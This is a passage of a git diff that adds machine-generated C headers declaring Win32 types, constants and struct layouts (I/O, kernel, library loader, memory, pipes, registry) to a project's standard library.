Generated by entc-win32gen from `Windows.Win32.System.IO`. +// Do not edit by hand. Re-run the generator to refresh. + +typedef unsigned char BYTE; +typedef unsigned short WORD; +typedef unsigned long DWORD; +typedef unsigned long long ULONGLONG; +typedef long LONG; +typedef unsigned long ULONG; +typedef int BOOL; +typedef void* PVOID; +typedef void* HANDLE; + +typedef struct _OVERLAPPED_ENTRY { + unsigned long long lpCompletionKey; + void* lpOverlapped; + unsigned long long Internal; + unsigned int dwNumberOfBytesTransferred; +} OVERLAPPED_ENTRY; + +typedef struct _IO_STATUS_BLOCK { + void* Anonymous; + unsigned long long Information; +} IO_STATUS_BLOCK; + +typedef struct _OVERLAPPED { + unsigned long long Internal; + unsigned long long InternalHigh; + void* Anonymous; + void* hEvent; +} OVERLAPPED; + diff --git a/stdlib/win32/kernel.h b/stdlib/win32/kernel.h new file mode 100644 index 0000000..67d56a5 --- /dev/null +++ b/stdlib/win32/kernel.h @@ -0,0 +1,186 @@ +// Generated by entc-win32gen from `Windows.Win32.System.Kernel`. +// Do not edit by hand. Re-run the generator to refresh. + +typedef unsigned char BYTE; +typedef unsigned short WORD; +typedef unsigned long DWORD; +typedef unsigned long long ULONGLONG; +typedef long LONG; +typedef unsigned long ULONG; +typedef int BOOL; +typedef void* PVOID; +typedef void* HANDLE; + +#define OBJ_HANDLE_TAGBITS 3 +#define RTL_BALANCED_NODE_RESERVED_PARENT_MASK 0x3 +#define NULL64 0x0 +#define MAXUCHAR 0xff +#define MAXUSHORT 0xffff +#define MAXULONG 0xffffffff +#define NotificationTimer 0 +#define SynchronizationTimer 1 +#define ExceptionContinueExecution 0 +#define ExceptionContinueSearch 1 +#define ExceptionNestedException 2 +#define ExceptionCollidedUnwind 3 +#define WaitAll 0 +#define WaitAny 1 +#define WaitNotification 2 +#define WaitDequeue 3 +#define WaitDpc 4 +#define NotificationEvent 0 +#define SynchronizationEvent 1 +#define NtProductWinNt 1 +#define NtProductLanManNt 2 +#define NtProductServer 3 +#define SmallBusiness 0 +#define Enterprise 1 +#define BackOffice 2 +#define CommunicationServer 3 +#define TerminalServer 4 +#define SmallBusinessRestricted 5 +#define EmbeddedNT 6 +#define DataCenter 7 +#define SingleUserTS 8 +#define Personal 9 +#define Blade 10 +#define EmbeddedRestricted 11 +#define SecurityAppliance 12 +#define StorageServer 13 +#define ComputeServer 14 +#define WHServer 15 +#define PhoneNT 16 +#define MultiUserTS 17 +#define MaxSuiteType 18 +#define UNSPECIFIED_COMPARTMENT_ID 0 +#define DEFAULT_COMPARTMENT_ID 1 + +typedef struct _WNF_STATE_NAME { + unsigned int Data[2]; +} WNF_STATE_NAME; + +typedef struct _STRING64 { + unsigned short Length; + unsigned short MaximumLength; + unsigned long long Buffer; +} STRING64; + +typedef struct _OBJECTID { + void* Lineage; + unsigned int Uniquifier; +} OBJECTID; + +typedef struct _NT_TIB { + void* ExceptionList; + void* StackBase; + void* StackLimit; + void* SubSystemTib; + void* Anonymous; + void* ArbitraryUserPointer; + void* Self; +} NT_TIB; + +typedef struct _STRING { + unsigned short Length; + unsigned short MaximumLength; + void* Buffer; +} STRING; + +typedef struct _EXCEPTION_REGISTRATION_RECORD { + void* Next; + void* Handler; +} EXCEPTION_REGISTRATION_RECORD; + +typedef struct _CSTRING { + unsigned short Length; + unsigned short MaximumLength; + void* Buffer; +} CSTRING; + +typedef struct _SLIST_HEADER { + void* Anonymous; + void* HeaderArm64; +} SLIST_HEADER; + +typedef struct _SLIST_HEADER { + void* Anonymous; + void* HeaderX64; +} SLIST_HEADER; + +typedef struct _SLIST_HEADER { + unsigned long long Alignment; + void* Anonymous; +} SLIST_HEADER; + +typedef struct _LIST_ENTRY32 { + unsigned int Flink; + unsigned int Blink; +} LIST_ENTRY32; + +typedef struct _SINGLE_LIST_ENTRY { + void* Next; +} SINGLE_LIST_ENTRY; + +typedef struct _LIST_ENTRY { + void* Flink; + void* Blink; +} LIST_ENTRY; + +typedef struct _STRING32 { + unsigned short Length; + unsigned short MaximumLength; + unsigned int Buffer; +} STRING32; + +typedef struct _PROCESSOR_NUMBER { + unsigned short Group; + unsigned char Number; + unsigned char Reserved; +} PROCESSOR_NUMBER; + +typedef struct _QUAD { + void* Anonymous; +} QUAD; + +typedef struct _SLIST_ENTRY { + void* Next; +} SLIST_ENTRY; + +typedef struct _SINGLE_LIST_ENTRY32 { + unsigned int Next; +} SINGLE_LIST_ENTRY32; + +typedef struct _RTL_BALANCED_NODE { + void* Anonymous1; + void* Anonymous2; +} RTL_BALANCED_NODE; + +typedef struct _FLOATING_SAVE_AREA { + unsigned int ControlWord; + unsigned int StatusWord; + unsigned int TagWord; + unsigned int ErrorOffset; + unsigned int ErrorSelector; + unsigned int DataOffset; + unsigned int DataSelector; + unsigned char RegisterArea[80]; + unsigned int Cr0NpxState; +} FLOATING_SAVE_AREA; + +typedef struct _FLOATING_SAVE_AREA { + unsigned int ControlWord; + unsigned int StatusWord; + unsigned int TagWord; + unsigned int ErrorOffset; + unsigned int ErrorSelector; + unsigned int DataOffset; + unsigned int DataSelector; + unsigned char RegisterArea[80]; + unsigned int Spare0; +} FLOATING_SAVE_AREA; + +typedef struct _LIST_ENTRY64 { + unsigned long long Flink; + unsigned long long Blink; +} LIST_ENTRY64; + diff --git a/stdlib/win32/libraryloader.h b/stdlib/win32/libraryloader.h new file mode 100644 index 0000000..b4f6dfc --- /dev/null +++ b/stdlib/win32/libraryloader.h @@ -0,0 +1,60 @@ +// Generated by entc-win32gen from `Windows.Win32.System.LibraryLoader`. +// Do not edit by hand. Re-run the generator to refresh. + +typedef unsigned char BYTE; +typedef unsigned short WORD; +typedef unsigned long DWORD; +typedef unsigned long long ULONGLONG; +typedef long LONG; +typedef unsigned long ULONG; +typedef int BOOL; +typedef void* PVOID; +typedef void* HANDLE; + +#define FIND_RESOURCE_DIRECTORY_TYPES 0x100 +#define FIND_RESOURCE_DIRECTORY_NAMES 0x200 +#define FIND_RESOURCE_DIRECTORY_LANGUAGES 0x400 +#define RESOURCE_ENUM_LN 0x1 +#define RESOURCE_ENUM_MUI 0x2 +#define RESOURCE_ENUM_MUI_SYSTEM 0x4 +#define RESOURCE_ENUM_VALIDATE 0x8 +#define RESOURCE_ENUM_MODULE_EXACT 0x10 +#define SUPPORT_LANG_NUMBER 0x20 +#define GET_MODULE_HANDLE_EX_FLAG_PIN 0x1 +#define GET_MODULE_HANDLE_EX_FLAG_UNCHANGED_REFCOUNT 0x2 +#define GET_MODULE_HANDLE_EX_FLAG_FROM_ADDRESS 0x4 +#define CURRENT_IMPORT_REDIRECTION_VERSION 0x1 +#define LOAD_LIBRARY_OS_INTEGRITY_CONTINUITY 0x8000 +#define DONT_RESOLVE_DLL_REFERENCES 0x1 +#define LOAD_LIBRARY_AS_DATAFILE 0x2 +#define LOAD_WITH_ALTERED_SEARCH_PATH 0x8 +#define LOAD_IGNORE_CODE_AUTHZ_LEVEL 0x10 +#define LOAD_LIBRARY_AS_IMAGE_RESOURCE 0x20 +#define LOAD_LIBRARY_AS_DATAFILE_EXCLUSIVE 0x40 +#define LOAD_LIBRARY_REQUIRE_SIGNED_TARGET 0x80 +#define LOAD_LIBRARY_SEARCH_DLL_LOAD_DIR 0x100 +#define LOAD_LIBRARY_SEARCH_APPLICATION_DIR 0x200 +#define LOAD_LIBRARY_SEARCH_USER_DIRS 0x400 +#define LOAD_LIBRARY_SEARCH_SYSTEM32 0x800 +#define LOAD_LIBRARY_SEARCH_DEFAULT_DIRS 0x1000 +#define LOAD_LIBRARY_SAFE_CURRENT_DIRS 0x2000 +#define LOAD_LIBRARY_SEARCH_SYSTEM32_NO_FORWARDER 0x4000 + +typedef struct _ENUMUILANG { + unsigned int NumOfEnumUILang; + unsigned int SizeOfEnumUIBuffer; + void* pEnumUIBuffer; +} ENUMUILANG; + +typedef struct _REDIRECTION_DESCRIPTOR { + unsigned int Version; + unsigned int FunctionCount; + void* Redirections; +} REDIRECTION_DESCRIPTOR; + +typedef struct _REDIRECTION_FUNCTION_DESCRIPTOR { + void* DllName; + void* FunctionName; + void* RedirectionTarget; +} REDIRECTION_FUNCTION_DESCRIPTOR; + diff --git a/stdlib/win32/memory.h b/stdlib/win32/memory.h new file mode 100644 index 0000000..5518f08 --- /dev/null +++ b/stdlib/win32/memory.h @@ -0,0 +1,305 @@ +// Generated by entc-win32gen from `Windows.Win32.System.Memory`. +// Do not edit by hand. Re-run the generator to refresh. + +typedef unsigned char BYTE; +typedef unsigned short WORD; +typedef unsigned long DWORD; +typedef unsigned long long ULONGLONG; +typedef long LONG; +typedef unsigned long ULONG; +typedef int BOOL; +typedef void* PVOID; +typedef void* HANDLE; + +#define FILE_CACHE_MAX_HARD_ENABLE 0x1 +#define FILE_CACHE_MAX_HARD_DISABLE 0x2 +#define FILE_CACHE_MIN_HARD_ENABLE 0x4 +#define FILE_CACHE_MIN_HARD_DISABLE 0x8 +#define MEHC_PATROL_SCRUBBER_PRESENT 0x1 +#define WIN32_MEMORY_NUMA_PERFORMANCE_ALL_TARGET_NODE 0xffffffff +#define WIN32_MEMORY_NUMA_PERFORMANCE_READ_LATENCY 0x1 +#define WIN32_MEMORY_NUMA_PERFORMANCE_READ_BANDWIDTH 0x2 +#define WIN32_MEMORY_NUMA_PERFORMANCE_WRITE_LATENCY 0x4 +#define WIN32_MEMORY_NUMA_PERFORMANCE_WRITE_BANDWIDTH 0x8 +#define VmOfferPriorityVeryLow 1 +#define VmOfferPriorityLow 2 +#define VmOfferPriorityBelowNormal 3 +#define VmOfferPriorityNormal 4 +#define MEM_COMMIT 0x1000 +#define MEM_RESERVE 0x2000 +#define MEM_RESET 0x80000 +#define MEM_RESET_UNDO 0x1000000 +#define MEM_REPLACE_PLACEHOLDER 0x4000 +#define MEM_LARGE_PAGES 0x20000000 +#define MEM_RESERVE_PLACEHOLDER 0x40000 +#define MEM_FREE 0x10000 +#define QUOTA_LIMITS_HARDWS_MIN_ENABLE 0x1 +#define QUOTA_LIMITS_HARDWS_MIN_DISABLE 0x2 +#define QUOTA_LIMITS_HARDWS_MAX_ENABLE 0x4 +#define QUOTA_LIMITS_HARDWS_MAX_DISABLE 0x8 +#define GHND 0x42 +#define GMEM_FIXED 0x0 +#define GMEM_MOVEABLE 0x2 +#define GMEM_ZEROINIT 0x40 +#define GPTR 0x40 +#define MEM_PRIVATE 0x20000 +#define MEM_MAPPED 0x40000 +#define MEM_IMAGE 0x1000000 +#define MemDedicatedAttributeReadBandwidth 0 +#define MemDedicatedAttributeReadLatency 1 +#define MemDedicatedAttributeWriteBandwidth 2 +#define MemDedicatedAttributeWriteLatency 3 +#define MemDedicatedAttributeMax 4 +#define MemExtendedParameterInvalidType 0 +#define MemExtendedParameterAddressRequirements 1 +#define MemExtendedParameterNumaNode 2 +#define MemExtendedParameterPartitionHandle 3 +#define MemExtendedParameterUserPhysicalHandle 4 +#define MemExtendedParameterAttributeFlags 5 +#define MemExtendedParameterImageMachine 6 +#define MemExtendedParameterMax 7 +#define MEM_DECOMMIT 0x4000 +#define MEM_RELEASE 0x8000 +#define PAGE_NOACCESS 0x1 +#define PAGE_READONLY 0x2 +#define PAGE_READWRITE 0x4 +#define PAGE_WRITECOPY 0x8 +#define PAGE_EXECUTE 0x10 +#define PAGE_EXECUTE_READ 0x20 +#define PAGE_EXECUTE_READWRITE 0x40 +#define PAGE_EXECUTE_WRITECOPY 0x80 +#define PAGE_GUARD 0x100 +#define PAGE_NOCACHE 0x200 +#define PAGE_WRITECOMBINE 0x400 +#define PAGE_GRAPHICS_NOACCESS 0x800 +#define PAGE_GRAPHICS_READONLY 0x1000 +#define PAGE_GRAPHICS_READWRITE 0x2000 +#define PAGE_GRAPHICS_EXECUTE 0x4000 +#define PAGE_GRAPHICS_EXECUTE_READ 0x8000 +#define PAGE_GRAPHICS_EXECUTE_READWRITE 0x10000 +#define PAGE_GRAPHICS_COHERENT 0x20000 +#define PAGE_GRAPHICS_NOCACHE 0x40000 +#define PAGE_ENCLAVE_THREAD_CONTROL 0x80000000 +#define PAGE_REVERT_TO_FILE_MAP 0x80000000 +#define PAGE_TARGETS_NO_UPDATE 0x40000000 +#define PAGE_TARGETS_INVALID 0x40000000 +#define PAGE_ENCLAVE_UNVALIDATED 0x20000000 +#define PAGE_ENCLAVE_MASK 0x10000000 +#define PAGE_ENCLAVE_DECOMMIT 0x10000000 +#define PAGE_ENCLAVE_SS_FIRST 0x10000001 +#define PAGE_ENCLAVE_SS_REST 0x10000002 +#define SEC_PARTITION_OWNER_HANDLE 0x40000 +#define SEC_64K_PAGES 0x80000 +#define SEC_FILE 0x800000 +#define SEC_IMAGE 0x1000000 +#define SEC_PROTECTED_IMAGE 0x2000000 +#define SEC_RESERVE 0x4000000 +#define SEC_COMMIT 0x8000000 +#define SEC_NOCACHE 0x10000000 +#define SEC_WRITECOMBINE 0x40000000 +#define SEC_LARGE_PAGES 0x80000000 +#define SEC_IMAGE_NO_EXECUTE 0x11000000 +#define MemSectionExtendedParameterInvalidType 0 +#define MemSectionExtendedParameterUserPhysicalFlags 1 +#define MemSectionExtendedParameterNumaNode 2 +#define MemSectionExtendedParameterSigningLevel 3 +#define MemSectionExtendedParameterMax 4 +#define HEAP_NONE 0x0 +#define HEAP_NO_SERIALIZE 0x1 +#define HEAP_GROWABLE 0x2 +#define HEAP_GENERATE_EXCEPTIONS 0x4 +#define HEAP_ZERO_MEMORY 0x8 +#define HEAP_REALLOC_IN_PLACE_ONLY 0x10 +#define HEAP_TAIL_CHECKING_ENABLED 0x20 +#define HEAP_FREE_CHECKING_ENABLED 0x40 +#define HEAP_DISABLE_COALESCE_ON_FREE 0x80 +#define HEAP_CREATE_ALIGN_16 0x10000 +#define HEAP_CREATE_ENABLE_TRACING 0x20000 +#define HEAP_CREATE_ENABLE_EXECUTE 0x40000 +#define HEAP_MAXIMUM_TAG 0xfff +#define HEAP_PSEUDO_TAG_FLAG 0x8000 +#define HEAP_TAG_SHIFT 0x12 +#define HEAP_CREATE_SEGMENT_HEAP 0x100 +#define HEAP_CREATE_HARDENED 0x200 +#define MEM_UNMAP_NONE 0x0 +#define MEM_UNMAP_WITH_TRANSIENT_BOOST 0x1 +#define MEM_PRESERVE_PLACEHOLDER 0x2 +#define MemoryPartitionInfo 0 +#define MemoryPartitionDedicatedMemoryInfo 1 +#define LHND 0x42 +#define LMEM_FIXED 0x0 +#define LMEM_MOVEABLE 0x2 +#define LMEM_ZEROINIT 0x40 +#define LPTR 0x40 +#define NONZEROLHND 0x2 +#define NONZEROLPTR 0x0 +#define MemoryRegionInfo 0 +#define FILE_MAP_WRITE 0x2 +#define FILE_MAP_READ 0x4 +#define FILE_MAP_ALL_ACCESS 0xf001f +#define FILE_MAP_EXECUTE 0x20 +#define FILE_MAP_COPY 0x1 +#define FILE_MAP_RESERVE 0x80000000 +#define FILE_MAP_TARGETS_INVALID 0x40000000 +#define FILE_MAP_LARGE_PAGES 0x20000000 +#define LowMemoryResourceNotification 0 +#define HighMemoryResourceNotification 1 +#define SECTION_ALL_ACCESS 0xf001f +#define SECTION_QUERY 0x1 +#define SECTION_MAP_WRITE 0x2 +#define SECTION_MAP_READ 0x4 +#define SECTION_MAP_EXECUTE 0x8 +#define SECTION_EXTEND_SIZE 0x10 +#define SECTION_MAP_EXECUTE_EXPLICIT 0x20 +#define HeapCompatibilityInformation 0 +#define HeapEnableTerminationOnCorruption 1 +#define HeapOptimizeResources 3 +#define HeapTag 7 + +typedef struct _PROCESS_HEAP_ENTRY { + void* lpData; + unsigned int cbData; + unsigned char cbOverhead; + unsigned char iRegionIndex; + unsigned short wFlags; + void* Anonymous; +} PROCESS_HEAP_ENTRY; + +typedef struct _MEMORY_BASIC_INFORMATION32 { + unsigned int BaseAddress; + unsigned int AllocationBase; + void* AllocationProtect; + unsigned int RegionSize; + void* State; + void* Protect; + void* Type; +} MEMORY_BASIC_INFORMATION32; + +typedef struct _MEM_EXTENDED_PARAMETER { + void* Anonymous1; + void* Anonymous2; +} MEM_EXTENDED_PARAMETER; + +typedef struct _WIN32_MEMORY_REGION_INFORMATION { + void* AllocationBase; + unsigned int AllocationProtect; + void* Anonymous; + unsigned long long RegionSize; + unsigned long long CommitSize; +} WIN32_MEMORY_REGION_INFORMATION; + +typedef struct _MEMORY_PARTITION_DEDICATED_MEMORY_ATTRIBUTE { + void* Type; + unsigned int Reserved; + unsigned long long Value; +} MEMORY_PARTITION_DEDICATED_MEMORY_ATTRIBUTE; + +typedef struct _MEMORY_BASIC_INFORMATION { + void* BaseAddress; + void* AllocationBase; + void* AllocationProtect; + unsigned short PartitionId; + unsigned long long RegionSize; + void* State; + void* Protect; + void* Type; +} MEMORY_BASIC_INFORMATION; + +typedef struct _MEMORY_BASIC_INFORMATION { + void* BaseAddress; + void* AllocationBase; + void* AllocationProtect; + unsigned long long RegionSize; + void* State; + void* Protect; + void* Type; +} MEMORY_BASIC_INFORMATION; + +typedef struct _WIN32_MEMORY_NUMA_PERFORMANCE_INFORMATION_OUTPUT { + unsigned int EntryCount; + void* PerformanceEntries[1]; +} WIN32_MEMORY_NUMA_PERFORMANCE_INFORMATION_OUTPUT; + +typedef struct _MEM_ADDRESS_REQUIREMENTS { + void* LowestStartingAddress; + void* HighestEndingAddress; + unsigned long long Alignment; +} MEM_ADDRESS_REQUIREMENTS; + +typedef struct _WIN32_MEMORY_PARTITION_INFORMATION { + unsigned int Flags; + unsigned int NumaNode; + unsigned int Channel; + unsigned int NumberOfNumaNodes; + unsigned long long ResidentAvailablePages; + unsigned long long CommittedPages; + unsigned long long CommitLimit; + unsigned long long PeakCommitment; + unsigned long long TotalNumberOfPages; + unsigned long long AvailablePages; + unsigned long long ZeroPages; + unsigned long long FreePages; + unsigned long long StandbyPages; + unsigned long long Reserved[16]; + unsigned long long MaximumCommitLimit; + unsigned long long Reserved2; + unsigned int PartitionId; +} WIN32_MEMORY_PARTITION_INFORMATION; + +typedef struct _MEMORY_PARTITION_DEDICATED_MEMORY_INFORMATION { + unsigned int NextEntryOffset; + unsigned int SizeOfInformation; + unsigned int Flags; + unsigned int AttributesOffset; + unsigned int AttributeCount; + unsigned int Reserved; + unsigned long long TypeId; +} MEMORY_PARTITION_DEDICATED_MEMORY_INFORMATION; + +typedef struct _HEAP_SUMMARY { + unsigned int cb; + unsigned long long cbAllocated; + unsigned long long cbCommitted; + unsigned long long cbReserved; + unsigned long long cbMaxReserve; +} HEAP_SUMMARY; + +typedef struct _AtlThunkData_t { + long long Value; +} AtlThunkData_t; + +typedef struct _WIN32_MEMORY_RANGE_ENTRY { + void* VirtualAddress; + unsigned long long NumberOfBytes; +} WIN32_MEMORY_RANGE_ENTRY; + +typedef struct _MEMORY_BASIC_INFORMATION64 { + unsigned long long BaseAddress; + unsigned long long AllocationBase; + void* AllocationProtect; + unsigned int __alignment1; + unsigned long long RegionSize; + void* State; + void* Protect; + void* Type; + unsigned int __alignment2; +} MEMORY_BASIC_INFORMATION64; + +typedef struct _CFG_CALL_TARGET_INFO { + unsigned long long Offset; + unsigned long long Flags; +} CFG_CALL_TARGET_INFO; + +typedef struct _MEMORY_MAPPED_VIEW_ADDRESS { + void* Value; +} MEMORY_MAPPED_VIEW_ADDRESS; + +typedef struct _WIN32_MEMORY_NUMA_PERFORMANCE_ENTRY { + unsigned int InitiatorNodeNumber; + unsigned int TargetNodeNumber; + unsigned char DataType; + void* Flags; + unsigned long long MinTransferSizeInBytes; + unsigned long long EntryValue; +} WIN32_MEMORY_NUMA_PERFORMANCE_ENTRY; + diff --git a/stdlib/win32/pipes.h b/stdlib/win32/pipes.h new file mode 100644 index 0000000..3704f79 --- /dev/null +++ b/stdlib/win32/pipes.h @@ -0,0 +1,28 @@ +// Generated by entc-win32gen from `Windows.Win32.System.Pipes`. +// Do not edit by hand. Re-run the generator to refresh. + +typedef unsigned char BYTE; +typedef unsigned short WORD; +typedef unsigned long DWORD; +typedef unsigned long long ULONGLONG; +typedef long LONG; +typedef unsigned long ULONG; +typedef int BOOL; +typedef void* PVOID; +typedef void* HANDLE; + +#define PIPE_UNLIMITED_INSTANCES 0xff +#define NMPWAIT_WAIT_FOREVER 0xffffffff +#define NMPWAIT_NOWAIT 0x1 +#define NMPWAIT_USE_DEFAULT_WAIT 0x0 +#define PIPE_WAIT 0x0 +#define PIPE_NOWAIT 0x1 +#define PIPE_READMODE_BYTE 0x0 +#define PIPE_READMODE_MESSAGE 0x2 +#define PIPE_CLIENT_END 0x0 +#define PIPE_SERVER_END 0x1 +#define PIPE_TYPE_BYTE 0x0 +#define PIPE_TYPE_MESSAGE 0x4 +#define PIPE_ACCEPT_REMOTE_CLIENTS 0x0 +#define PIPE_REJECT_REMOTE_CLIENTS 0x8 + diff --git a/stdlib/win32/registry.h b/stdlib/win32/registry.h new file mode 100644 index 0000000..903ecf5 --- /dev/null +++ b/stdlib/win32/registry.h @@ -0,0 +1,1024 @@ +// Generated by entc-win32gen from `Windows.Win32.System.Registry`. +// Do not edit by hand. Re-run the generator to refresh. + +typedef unsigned char BYTE; +typedef unsigned short WORD; +typedef unsigned long DWORD; +typedef unsigned long long ULONGLONG; +typedef long LONG; +typedef unsigned long ULONG; +typedef int BOOL; +typedef void* PVOID; +typedef void* HANDLE; + +#define HKEY_CLASSES_ROOT -2147483648 +#define HKEY_CURRENT_USER -2147483647 +#define HKEY_LOCAL_MACHINE -2147483646 +#define HKEY_USERS -2147483645 +#define HKEY_PERFORMANCE_DATA -2147483644 +#define HKEY_PERFORMANCE_TEXT -2147483568 +#define HKEY_PERFORMANCE_NLSTEXT -2147483552 +#define HKEY_CURRENT_CONFIG -2147483643 +#define HKEY_DYN_DATA -2147483642 +#define HKEY_CURRENT_USER_LOCAL_SETTINGS -2147483641 +#define REG_PROCESS_APPKEY 0x1 +#define REG_USE_CURRENT_SECURITY_CONTEXT 0x2 +#define PROVIDER_KEEPS_VALUE_LENGTH 0x1 +#define REG_MUI_STRING_TRUNCATE 0x1 +#define REG_SECURE_CONNECTION 0x1 +#define REG_ALLOW_TRANSPORT_FALLBACK 0x2 +#define REG_ALLOW_UNSECURE_CONNECTION 0x4 +// SKIPPED const REGSTR_KEY_CLASS: non-integer constant +// SKIPPED const REGSTR_KEY_CONFIG: non-integer constant +// SKIPPED const REGSTR_KEY_ENUM: non-integer constant +// SKIPPED const REGSTR_KEY_ROOTENUM: non-integer constant +// SKIPPED const REGSTR_KEY_BIOSENUM: non-integer constant +// SKIPPED const REGSTR_KEY_ACPIENUM: non-integer constant +// SKIPPED const REGSTR_KEY_PCMCIAENUM: non-integer constant +// SKIPPED const REGSTR_KEY_PCIENUM: non-integer constant +// SKIPPED const REGSTR_KEY_VPOWERDENUM: non-integer constant +// SKIPPED const REGSTR_KEY_ISAENUM: non-integer constant +// SKIPPED const REGSTR_KEY_EISAENUM: non-integer constant +// SKIPPED const REGSTR_KEY_LOGCONFIG: non-integer constant +// SKIPPED const REGSTR_KEY_SYSTEMBOARD: non-integer constant +// SKIPPED const REGSTR_KEY_APM: non-integer constant +// SKIPPED const REGSTR_KEY_INIUPDATE: non-integer constant +// SKIPPED const REG_KEY_INSTDEV: non-integer constant +// SKIPPED const REGSTR_KEY_DOSOPTCDROM: non-integer constant +// SKIPPED const REGSTR_KEY_DOSOPTMOUSE: non-integer constant +// SKIPPED const REGSTR_KEY_KNOWNDOCKINGSTATES: non-integer constant +// SKIPPED const REGSTR_KEY_DEVICEPARAMETERS: non-integer constant +// SKIPPED const REGSTR_KEY_DRIVERPARAMETERS: non-integer constant +// SKIPPED const REGSTR_DEFAULT_INSTANCE: non-integer constant +// SKIPPED const REGSTR_PATH_SETUP: non-integer constant +// SKIPPED const REGSTR_PATH_DRIVERSIGN: non-integer constant +// SKIPPED const REGSTR_PATH_NONDRIVERSIGN: non-integer constant +// SKIPPED const REGSTR_PATH_DRIVERSIGN_POLICY: non-integer constant +// SKIPPED const REGSTR_PATH_NONDRIVERSIGN_POLICY: non-integer constant +// SKIPPED const REGSTR_PATH_PIFCONVERT: non-integer constant +// SKIPPED const REGSTR_PATH_MSDOSOPTS: non-integer constant +// SKIPPED const REGSTR_PATH_NOSUGGMSDOS: non-integer constant +// SKIPPED const REGSTR_PATH_NEWDOSBOX: non-integer constant +// SKIPPED const REGSTR_PATH_RUNONCE: non-integer constant +// SKIPPED const REGSTR_PATH_RUNONCEEX: non-integer constant +// SKIPPED const REGSTR_PATH_RUN: non-integer constant +// SKIPPED const REGSTR_PATH_RUNSERVICESONCE: non-integer constant +// SKIPPED const REGSTR_PATH_RUNSERVICES: non-integer constant +// SKIPPED const REGSTR_PATH_EXPLORER: non-integer constant +// SKIPPED const REGSTR_PATH_PROPERTYSYSTEM: non-integer constant +// SKIPPED const REGSTR_PATH_DETECT: non-integer constant +// SKIPPED const REGSTR_PATH_APPPATHS: non-integer constant +// SKIPPED const REGSTR_PATH_UNINSTALL: non-integer constant +// SKIPPED const REGSTR_PATH_REALMODENET: non-integer constant +// SKIPPED const REGSTR_PATH_NETEQUIV: non-integer constant +// SKIPPED const REGSTR_PATH_CVNETWORK: non-integer constant +// SKIPPED const REGSTR_PATH_WMI_SECURITY: non-integer constant +// SKIPPED const REGSTR_PATH_RELIABILITY: non-integer constant +// SKIPPED const REGSTR_PATH_RELIABILITY_POLICY: non-integer constant +// SKIPPED const REGSTR_PATH_RELIABILITY_POLICY_SHUTDOWNREASONUI: non-integer constant +// SKIPPED const REGSTR_PATH_RELIABILITY_POLICY_SNAPSHOT: non-integer constant +// SKIPPED const REGSTR_PATH_RELIABILITY_POLICY_REPORTSNAPSHOT: non-integer constant +// SKIPPED const REGSTR_PATH_REINSTALL: non-integer constant +// SKIPPED const REGSTR_PATH_NT_CURRENTVERSION: non-integer constant +// SKIPPED const REGSTR_PATH_VOLUMECACHE: non-integer constant +// SKIPPED const REGSTR_VAL_DISPLAY: non-integer constant +// SKIPPED const REGSTR_PATH_IDCONFIGDB: non-integer constant +// SKIPPED const REGSTR_PATH_CRITICALDEVICEDATABASE: non-integer constant +// SKIPPED const REGSTR_PATH_CLASS: non-integer constant +// SKIPPED const REGSTR_PATH_DISPLAYSETTINGS: non-integer constant +// SKIPPED const REGSTR_PATH_FONTS: non-integer constant +// SKIPPED const REGSTR_PATH_ENUM: non-integer constant +// SKIPPED const REGSTR_PATH_ROOT: non-integer constant +// SKIPPED const REGSTR_PATH_CURRENTCONTROLSET: non-integer constant +// SKIPPED const REGSTR_PATH_SYSTEMENUM: non-integer constant +// SKIPPED const REGSTR_PATH_HWPROFILES: non-integer constant +// SKIPPED const REGSTR_PATH_HWPROFILESCURRENT: non-integer constant +// SKIPPED const REGSTR_PATH_CLASS_NT: non-integer constant +// SKIPPED const REGSTR_PATH_PER_HW_ID_STORAGE: non-integer constant +// SKIPPED const REGSTR_PATH_DEVICE_CLASSES: non-integer constant +// SKIPPED const REGSTR_PATH_CODEVICEINSTALLERS: non-integer constant +// SKIPPED const REGSTR_PATH_BUSINFORMATION: non-integer constant +// SKIPPED const REGSTR_PATH_SERVICES: non-integer constant +// SKIPPED const REGSTR_PATH_VXD: non-integer constant +// SKIPPED const REGSTR_PATH_IOS: non-integer constant +// SKIPPED const REGSTR_PATH_VMM: non-integer constant +// SKIPPED const REGSTR_PATH_VPOWERD: non-integer constant +// SKIPPED const REGSTR_PATH_VNETSUP: non-integer constant +// SKIPPED const REGSTR_PATH_NWREDIR: non-integer constant +// SKIPPED const REGSTR_PATH_NCPSERVER: non-integer constant +// SKIPPED const REGSTR_PATH_VCOMM: non-integer constant +// SKIPPED const REGSTR_PATH_IOARB: non-integer constant +// SKIPPED const REGSTR_PATH_ADDRARB: non-integer constant +// SKIPPED const REGSTR_PATH_DMAARB: non-integer constant +// SKIPPED const REGSTR_PATH_IRQARB: non-integer constant +// SKIPPED const REGSTR_PATH_CODEPAGE: non-integer constant +// SKIPPED const REGSTR_PATH_FILESYSTEM: non-integer constant +// SKIPPED const REGSTR_PATH_FILESYSTEM_NOVOLTRACK: non-integer constant +// SKIPPED const REGSTR_PATH_CDFS: non-integer constant +// SKIPPED const REGSTR_PATH_WINBOOT: non-integer constant +// SKIPPED const REGSTR_PATH_INSTALLEDFILES: non-integer constant +// SKIPPED const REGSTR_PATH_VMM32FILES: non-integer constant +#define REGSTR_MAX_VALUE_LENGTH 0x100 +// SKIPPED const REGSTR_KEY_DEVICE_PROPERTIES: non-integer constant +// SKIPPED const REGSTR_VAL_SERVICE: non-integer constant +// SKIPPED const REGSTR_VAL_CLASSGUID: non-integer constant +// SKIPPED const REGSTR_VAL_DISABLECOUNT: non-integer constant +// SKIPPED const REGSTR_VAL_DOCKSTATE: non-integer constant +// SKIPPED const REGSTR_VAL_DEVICE_INSTANCE: non-integer constant +// SKIPPED const REGSTR_VAL_SYMBOLIC_LINK: non-integer constant +// SKIPPED const REGSTR_VAL_DEFAULT: non-integer constant +// SKIPPED const REGSTR_VAL_LOWERFILTERS: non-integer constant +// SKIPPED const REGSTR_VAL_UPPERFILTERS: non-integer constant +// SKIPPED const REGSTR_VAL_LOCATION_INFORMATION: non-integer constant +// SKIPPED const REGSTR_VAL_UI_NUMBER: non-integer constant +// SKIPPED const REGSTR_VAL_UI_NUMBER_DESC_FORMAT: non-integer constant +// SKIPPED const REGSTR_VAL_CAPABILITIES: non-integer constant +// SKIPPED const REGSTR_VAL_ADDRESS: non-integer constant +// SKIPPED const REGSTR_VAL_DEVICE_TYPE: non-integer constant +// SKIPPED const REGSTR_VAL_DEVICE_CHARACTERISTICS: non-integer constant +// SKIPPED const REGSTR_VAL_DEVICE_SECURITY_DESCRIPTOR: non-integer constant +// SKIPPED const REGSTR_VAL_DEVICE_EXCLUSIVE: non-integer constant +// SKIPPED const 